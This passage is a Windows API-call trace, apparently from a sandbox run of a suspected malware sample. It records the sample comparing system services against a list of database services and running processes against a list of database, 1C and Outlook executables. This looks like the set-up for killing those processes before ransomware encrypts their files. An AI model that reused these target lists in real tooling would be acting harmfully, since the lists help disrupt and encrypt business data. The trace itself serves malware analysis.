(lpString1="sqlwriter", lpString2="eventlog") returned 1 [0052.123] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0052.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0052.123] lstrlenW (lpString="EventSystem") returned 11 [0052.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0052.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0052.123] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0052.123] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0052.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0052.123] lstrlenW (lpString="gpsvc") returned 5 [0052.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0052.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0052.124] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0052.124] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0052.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0052.124] lstrlenW (lpString="iphlpsvc") returned 8 [0052.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0052.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0052.124] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0052.124] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0052.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0052.124] lstrlenW (lpString="LanmanServer") returned 12 [0052.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0052.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0052.124] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0052.124] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0052.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0052.124] lstrlenW (lpString="LanmanWorkstation") returned 17 [0052.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0052.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0052.124] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0052.124] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0052.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0052.124] lstrlenW (lpString="lmhosts") returned 7 [0052.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0052.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0052.124] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0052.125] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0052.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0052.125] lstrlenW (lpString="MMCSS") returned 5 [0052.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0052.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0052.125] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0052.125] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0052.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0052.125] lstrlenW (lpString="MpsSvc") returned 6 [0052.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0052.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0052.125] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0052.125] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0052.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0052.125] lstrlenW (lpString="Netman") returned 6 [0052.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0052.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0052.125] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0052.125] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0052.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0052.125] lstrlenW (lpString="netprofm") returned 8 [0052.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0052.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0052.125] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0052.125] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0052.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0052.126] lstrlenW (lpString="NlaSvc") returned 6 [0052.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0052.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0052.126] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0052.126] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0052.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0052.126] lstrlenW (lpString="nsi") returned 3 [0052.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0052.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0052.126] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0052.126] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0052.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0052.126] lstrlenW (lpString="PcaSvc") returned 6 [0052.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0052.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0052.126] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0052.126] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0052.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0052.126] lstrlenW (lpString="PlugPlay") returned 8 [0052.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0052.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0052.126] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0052.126] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0052.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0052.126] lstrlenW (lpString="Power") returned 5 [0052.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0052.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0052.127] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0052.127] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0052.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0052.127] lstrlenW (lpString="ProfSvc") returned 7 [0052.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0052.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0052.127] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0052.127] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0052.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0052.127] lstrlenW (lpString="RpcEptMapper") returned 12 [0052.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0052.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0052.127] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0052.127] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0052.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0052.127] lstrlenW (lpString="RpcSs") returned 5 [0052.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0052.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0052.127] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0052.127] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0052.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0052.127] lstrlenW (lpString="SamSs") returned 5 [0052.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0052.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0052.127] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0052.127] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0052.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0052.128] lstrlenW (lpString="Schedule") returned 8 [0052.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0052.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0052.128] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0052.128] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0052.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0052.128] lstrlenW (lpString="SENS") returned 4 [0052.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0052.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0052.128] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0052.128] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0052.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0052.128] lstrlenW (lpString="ShellHWDetection") returned 16 [0052.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0052.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0052.128] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0052.128] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0052.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0052.128] lstrlenW (lpString="Spooler") returned 7 [0052.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0052.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0052.128] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0052.128] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0052.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0052.128] lstrlenW (lpString="SysMain") returned 7 [0052.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0052.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0052.129] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0052.129] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0052.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0052.129] lstrlenW (lpString="Themes") returned 6 [0052.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0052.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0052.129] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0052.129] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0052.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0052.129] lstrlenW (lpString="TrkWks") returned 6 [0052.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0052.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0052.129] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0052.129] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0052.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0052.129] lstrlenW (lpString="UxSms") returned 5 [0052.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0052.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0052.129] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0052.129] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0052.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0052.129] lstrlenW (lpString="VSS") returned 3 [0052.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0052.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0052.129] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0052.129] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0052.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0052.129] lstrlenW (lpString="WdiServiceHost") returned 14 [0052.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0052.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0052.129] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0052.130] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0052.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0052.130] lstrlenW (lpString="WdiSystemHost") returned 13 [0052.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0052.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0052.130] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0052.130] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0052.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0052.130] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0052.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0052.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0052.130] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0052.130] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0052.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0052.130] lstrlenW (lpString="Winmgmt") returned 7 [0052.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0052.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0052.130] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0052.130] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0052.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0052.130] lstrlenW (lpString="WPDBusEnum") returned 10 [0052.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0052.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0052.130] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0052.130] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0052.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0052.130] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b4738 | out: hHeap=0x5a0000) returned 1 [0052.130] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204 [0052.133] Process32FirstW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0052.134] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0052.135] lstrlenW (lpString="System") returned 6 [0052.135] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0052.135] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0052.135] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0052.135] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0052.135] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0052.135] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0052.135] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0052.135] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0052.136] lstrlenW (lpString="smss.exe") returned 8 [0052.136] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0052.136] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0052.136] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0052.136] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0052.136] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0052.136] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0052.136] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0052.136] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0052.137] lstrlenW (lpString="csrss.exe") returned 9 [0052.137] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0052.137] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0052.137] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0052.137] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0052.137] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0052.137] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0052.137] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0052.137] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0052.137] lstrlenW (lpString="wininit.exe") returned 11 [0052.137] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0052.137] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0052.138] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0052.138] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0052.138] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0052.138] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0052.138] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0052.138] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0052.138] lstrlenW (lpString="csrss.exe") returned 9 [0052.138] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0052.139] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0052.139] lstrlenW (lpString="winlogon.exe") returned 12 [0052.139] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0052.140] lstrlenW (lpString="services.exe") returned 12 [0052.140] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0052.140] lstrlenW (lpString="lsass.exe") returned 9 [0052.140] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0052.141] lstrlenW (lpString="lsm.exe") returned 7 [0052.141] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.141] lstrlenW (lpString="svchost.exe") returned 11 [0052.141] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.142] lstrlenW (lpString="svchost.exe") returned 11 [0052.142] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.142] lstrlenW (lpString="svchost.exe") returned 11 [0052.142] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.143] lstrlenW (lpString="svchost.exe") returned 11 [0052.143] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.143] lstrlenW (lpString="svchost.exe") returned 11 [0052.143] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0052.144] lstrlenW (lpString="audiodg.exe") returned 11 [0052.144] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.144] lstrlenW (lpString="svchost.exe") returned 11 [0052.144] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.145] lstrlenW (lpString="svchost.exe") returned 11 [0052.145] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0052.145] lstrlenW (lpString="dwm.exe") returned 7 [0052.146] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0052.146] lstrlenW (lpString="explorer.exe") returned 12 [0052.146] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0052.147] lstrlenW (lpString="spoolsv.exe") returned 11 [0052.147] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0052.147] lstrlenW (lpString="taskhost.exe") returned 12 [0052.147] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.148] 